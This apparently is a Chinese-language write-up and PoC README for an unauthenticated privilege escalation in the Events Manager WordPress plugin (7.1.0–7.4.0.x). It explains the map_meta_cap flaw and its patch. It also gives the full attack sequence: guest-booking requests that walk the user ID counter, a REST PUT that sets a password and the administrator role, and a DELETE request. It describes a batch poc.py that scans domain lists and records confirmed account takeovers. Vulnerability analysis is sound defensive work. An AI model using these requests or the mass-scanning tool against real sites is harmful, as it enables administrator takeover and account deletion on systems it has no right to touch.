| 产品 | Events Manager(WordPress 插件) |
| 受影响版本 | 7.1.0 – 7.4.0.x |
| 修复版本 | 7.4.1 |
| 弱点 | CWE-269:权限管理不当 |
| 严重性 | CVSS 3.1:9.8(严重) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| 原始研究人员 | Jakub Herman |
| 分析文章与 PoC | ghostpel |
poc.py)。Events Manager 7.1.0 至 7.4.0.x 版本存在一个权限提升漏洞,允许完全未认证的攻击者接管任何 ID 与该插件自身文章(event / location / event-recurring / location-recurring)ID 相冲突的用户账户。在启用访客预订(默认开启)的站点上,这种冲突可以被强制触发:每次访客预订都会创建一个真实的用户账户,并使 wp_users 自增计数器前进一位,从而让攻击者沿着用户 ID 空间逐步"行走",最终落到某个 event/location 文章 ID 上。
根本原因:每当能力(capability)的对象 ID 恰好解析为某个 event/location 文章时,插件的 map_meta_cap 过滤器就会丢弃 WordPress 已经计算好的能力列表($caps = [])——对任何元能力皆如此,包括 edit_user、delete_user、promote_user 和 remove_user 等 WordPress 核心能力。空的能力列表会被解读为"无需任何能力"——即允许所有人,包括未登录用户。
后果(全部无需认证,通过 WP REST API 完成):更改任何 ID 冲突账户的密码、将其提升为 administrator,或将其删除。
分析的版本:7.4.0.1(存在漏洞)——与 7.4.1(已修复)进行了 diff 对比。
| 版本 | 状态 |
|---|---|
| ≤ 7.0.5 | 不受影响(旧版 em_map_meta_cap 仅处理 EM 自身的能力) |
| 7.1.0 – 7.4.0.x | 存在漏洞(带有缺陷 map_meta_cap 的原型(archetype)系统在 7.1.0 中引入) |
| 7.4.1 | 已修复 |
map_meta_cap 清空 $capsclasses/em-archetypes.php(版本 7.4.0.1):
**后果:**每当 X 等于某个 event/location 文章的 ID 时,所有 current_user_can('edit_user', X) / delete_user / promote_user / remove_user 检查都会返回 TRUE。该插件"丢弃了 WordPress 已经做出的访问控制决策"——与 WPScan 的描述完全一致。
通过将 7.4.0.1 与 7.4.1 进行 diff 对比验证:现在重置操作受到每个分支精确能力匹配的保护(例如 && $c['read'][$post->post_type] == $cap),因此只有当请求的能力确实是原型元能力时,$caps 才会被清空。补丁注释:"在任何携带对象的能力上执行重置,都会清空无关能力(如 edit_user、promote_user)的需求列表,而这会被解读为允许。"
REST 用户端点(/wp-json/wp/v2/users/{id})没有全局登录门槛——访问控制完全通过权限回调实现,而这些回调全部流经同一个 map_meta_cap 过滤器:
副作用:当某个评论 ID 恰好等于某个 event/location 文章 ID 时,edit_comment 也会受到影响(wp_comments 表共享同一个数字空间)。
冲突之所以存在,是因为 wp_users.ID 和 wp_posts.ID 是相互独立、必然会产生重叠的自增序列。访客预订可以强制触发这种冲突:
em-install.php:896 — dbem_bookings_anonymous = 1:访客预订默认启用;:871 dbem_bookings_registration_disable = 0(注册已启用)。em-actions.php:340-344 — booking_add 位于 $booking_nopriv_actions 中 → 可无需登录调用(通过 wp_ajax_nopriv_booking_add,优先级 999999,第 :817-830 行,或通过 wp_loaded :11)。em-actions.php:360-375 — booking_add 流程:em_verify_nonce('booking_add') → → → → 。(nonce 仅用于 CSRF 防护—— nonce 渲染在公开的预订表单中,任何人都可以获取。)审计期间观察到的次级攻击链(通过 person_id 进行预订归属)——events-manager.php:430-437(em_load_event,无需登录即可从 $_REQUEST['person_id'] 获取 $EM_Person)、em-booking.php:1060-1072(get_person() 会覆盖新预订的 person_id)、em-booking.php:2004-2006(无 ID 的预订 can_manage() = TRUE)、em-functions.php:448-449——在 7.4.1 中未作更改;这是一个独立的攻击向量(预订归属错误),并非本 CVE 的核心。
/wp-json/wp/v2/event,或按顺序 ID 进行暴力枚举)。假设目标为 N。N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N 的账户归攻击者所有(密码会通过电子邮件发送到攻击者的邮箱)。PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user 权限回调会通过,因为 get_post(N) 解析为 event/location 文章 → $caps = []。
(如果某个现有账户——例如一位旧管理员——的 ID N 已经与某个 event 文章 ID 冲突,则无需执行第 2 步;攻击者可直接接管该账户。)event/location 自定义文章类型已注册)。poc.pypoc.py 是一个异步(asyncio + aiohttp)批量 PoC,针对每个目标:对 EM 版本进行指纹识别(限定在受影响版本范围 [7.1, 7.4.1) 内)、发现可从外部访问的 EM 文章 ID(WP sitemap → /locations/,可选地爬取预订表单)、探测已发现的 ID 上是否存在现有用户账户(即冲突条件),并对发生冲突的账户进行权限提升——通过 REST 通道,或者在提供会话且 REST 被阻止时通过 wp-admin 通道。不进行盲目的用户范围扫描、不提交访客预订、不创建账户。
运行器在单个事件循环上多路复用所有 I/O(I/O 密集型时 CPU 占用接近 0%;-t 限制的是并发数而非核心数),在事件循环上仅扫描有界的 64 KiB 头部块,通过 asyncio.to_thread 将繁重的解析任务(sitemap XML、爬取到的页面包、资料表单)卸载到工作线程,并在每次页面请求时强制执行礼貌延迟。强制触发冲突的逻辑本身没有变化(相同的门控、相同的预言机、相同的验证)。
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
依赖要求:Python 3.9+,pip install aiohttp。
结果会流式写入 hasil.txt(已确认的账户接管)和 id-post.txt(所有发现 EM 文章 ID 的受影响域名,带有 collision=yes/no/unknown 标记)。
注意: 本 PoC 是根据 7.4.0.1 源码的静态分析和 7.4.1 补丁差异(diff)独立重建的——并非 WPScan 的 PoC。
仅限授权安全测试。 仅可针对您拥有或已获得明确书面许可的系统运行。该 PoC 执行的是普通 HTTP 请求——没有任何规避行为;可能会在日志/IDS 中被发现。
dbem_bookings_anonymous),在 WAF 层面限制 users REST 端点,并监控密码更改、角色提升和账户删除。| 行号 | 代码 | 作用 |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | 全局、无条件过滤器——在每一次 WordPress 元能力检查时都会运行,包括核心检查以及未登录用户的检查 |
:547 | if ( !empty( $args[0] ) ) { | 该能力的对象被视为文章 ID |
:548 | $post = get_post($args[0]); | **ID 冲突:**目标用户 ID(针对 edit_user 等能力)被当作文章 ID 处理 |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | 能力列表被无条件丢弃——即使请求的能力并非 read/edit/delete_event 原型能力 |
:568/577/584 | if/elseif 分支 | 仅当 $cap 与某个原型元能力完全匹配时,$caps 才会被重新填充;对于 edit_user、delete_user、promote_user、remove_user,没有任何分支匹配 → $caps 保持为空 |
:597 | return $caps; | 空数组 = "无需任何能力" = 允许任何人,包括用户 ID 0 |
| 操作 | 端点 / 核心函数 | 被绕过的能力 |
|---|
| 更改目标账户的密码 | PUT /wp-json/wp/v2/users/{id},携带 {"password":"..."} → wp_update_user()(内部 edit_user 检查) | edit_user |
| 将账户提升为管理员 | PUT /wp-json/wp/v2/users/{id},携带 {"roles":["administrator"]} | promote_user |
| 删除账户 | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user()(内部 delete_user 检查) | delete_user |
| (多站点)将用户从博客中移除 | remove_user | remove_user |
get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — 访客分支:使用攻击者的邮箱调用 em_register_new_user($user_data)。em-functions.php:510 — wp_insert_user($user_data) → 每次访客预订使 wp_users 自增前进 1 → 攻击者控制用户 ID 计数器的增长速度,直到其落到目标 event/location 文章 ID 上(WPScan:"每次访客预订都会创建一个真实用户账户,并将用户 ID 计数器向前推进一位")。DELETE /wp-json/wp/v2/users/M?reassign=N